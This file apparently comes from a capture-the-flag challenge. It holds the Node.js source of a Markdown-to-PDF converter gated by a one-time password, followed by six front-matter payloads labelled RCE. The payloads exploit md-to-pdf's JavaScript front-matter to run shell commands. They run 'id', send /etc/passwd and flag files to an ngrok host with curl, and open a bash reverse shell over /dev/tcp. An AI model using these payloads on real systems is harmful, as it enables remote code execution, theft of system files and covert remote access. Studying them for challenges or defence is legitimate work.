const express = require('express');
const { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession } = require('./utils');
const OTPAuth = require('otpauth');
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');

const router = express.Router();
const secret = new OTPAuth.Secret();
const totp = new OTPAuth.TOTP({
    secret: secret,
    label: 'MarkdownToPDF',
    algorithm: 'SHA1',
    digits: 6,
    period: 30
});
const sessions = {};
const requestCounts = {};
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);

// Serve the OTP input form
router.get('/otp', (req, res) => {
    res.sendFile(path.join(__dirname, 'views', 'otp.html'));
});

// Validate the OTP and set session cookie
router.post('/validate-otp', rateLimit(requestCounts), (req, res) => {
    try {
        const userOTP = req.body.otp;
        const userIP = req.ip;

        if (totp.validate({ token: userOTP, window: 1 })) {
            const randomValue = crypto.randomBytes(16).toString('hex');
            const sessionToken = encrypt(`${userIP}:${randomValue}:${userOTP}`, key, iv);
            const expiry = Date.now() + 5 * 60 * 1000; // 5 minutes from now
            sessions[sessionToken] = { expiry };
            res.cookie('session', sessionToken, { httpOnly: true });
            res.redirect('/convert');
        } else {
            res.redirect('/otp?invalid=true');
        }
    } catch (error) {
        console.error('Error validating OTP:', error);
        res.status(500).send('Server error.');
    }
});

// Serve the markdown input form
router.get('/convert', requireSession(sessions), (req, res) => {
    res.sendFile(path.join(__dirname, 'views', 'convert.html'));
});

// Handle form submission and convert markdown to PDF
router.post('/convert', requireSession(sessions), rateLimit(requestCounts), async (req, res) => {
    try {
        const markdownContent = req.body.markdown;

        if (!markdownContent || typeof markdownContent !== 'string' || markdownContent.trim() === '') {
            return res.status(400).send('Invalid markdown content.');
        }

        const outputFilePath = path.join(__dirname, 'output.pdf');
        const pdf = await mdToPdfAsync({ content: markdownContent });

        if (pdf && pdf.content) {
            fs.writeFileSync(outputFilePath, pdf.content);

            res.download(outputFilePath, 'converted.pdf', (err) => {
                if (err) {
                    console.error('Error downloading the file:', err);
                }

                // Clean up the file after download
                fs.unlinkSync(outputFilePath);
            });
        } else {
            throw new Error('Failed to generate PDF.');
        }
    } catch (error) {
        console.error('Error converting markdown to PDF:', error);
        res.status(500).send('Server error.');
    }
});

// Serve robots.txt
router.get('/robots.txt', (req, res) => {
    res.type('text/plain');
    res.sendFile(path.join(__dirname, 'public', 'robots.txt'));
});

// Serve src.zip
router.get('/src.zip', (req, res) => {
    const file = path.join(__dirname, 'public', 'src.zip');
    res.download(file);
});

module.exports = router;

const crypto = require('crypto');
const { mdToPdf } = require('md-to-pdf');

const encrypt = (text, key, iv) => {
    const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
    let encrypted = cipher.update(text, 'utf8', 'hex');
    encrypted += cipher.final('hex');
    return encrypted;
};

const decrypt = (encrypted, key, iv) => {
    const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
    let decrypted = decipher.update(encrypted, 'hex', 'utf8');
    decrypted += decipher.final('utf8');
    return decrypted;
};

const mdToPdfAsync = async (markdown) => {
    return await mdToPdf({ content: markdown }).catch(console.error);
};

const rateLimit = (requestCounts) => (req, res, next) => {
    try {
        const ip = req.ip;

        if (!requestCounts[ip]) {
            requestCounts[ip] = {
                count: 0,
                resetTime: Date.now() + 100000
            };
        }

        const currentRequestCount = requestCounts[ip].count;
        const resetTime = requestCounts[ip].resetTime;

        if (Date.now() > resetTime) {
            requestCounts[ip].count = 0;
            requestCounts[ip].resetTime = Date.now() + 100000;
        }

        requestCounts[ip].count++;

        if (currentRequestCount >= 50) {
            requestCounts[ip].resetTime = Date.now() + 300000;
            console.log(`Rate limit exceeded for IP ${ip}. Access blocked for 300 seconds.`);
            res.sendFile(path.join(__dirname, 'views', 'rate_limit.html'), {
                timeRemaining: Math.ceil((resetTime - Date.now()) / 1000)
            });
        } else {
            next();
        }
    } catch (error) {
        console.error('Error in rate limit middleware:', error);
        res.status(500).send('Server error.');
    }
};

const requireSession = (sessions) => (req, res, next) => {
    try {
        const sessionToken = req.cookies.session;

        if (sessionToken) {
            const session = sessions[sessionToken];

            if (session && session.expiry > Date.now()) {
                return next();
            } else {
                delete sessions[sessionToken];
            }
        }
        res.redirect('/otp');
    } catch (error) {
        console.error('Error in session middleware:', error);
        res.status(500).send('Server error.');
    }
};

module.exports = { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession };

---js
((require("child_process")).execSync("id > /tmp/RCE.txt"))
---RCE

---js
((require("child_process")).execSync('curl http://0.tcp.eu.ngrok.io:17552'));
---RCE

---js
((require("child_process")).execSync('curl -X POST --data-binary "@/etc/passwd" http://0.tcp.eu.ngrok.io:17552'));
---RCE

---js
((require("child_process")).execSync('curl -X POST --data-binary "$(/flag)" http://0.tcp.eu.ngrok.io:17552'));
---RCE

---js
((require("child_process")).execSync('curl -X POST --data-binary "@/tmp/fc80064fad72eab4561049ae973e20ba/flag_HALDXQ.txt" http://0.tcp.eu.ngrok.io:17552'));
---RCE

---js
((require("child_process")).execSync('bash -c "bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/17552 0>&1"'))
---RCE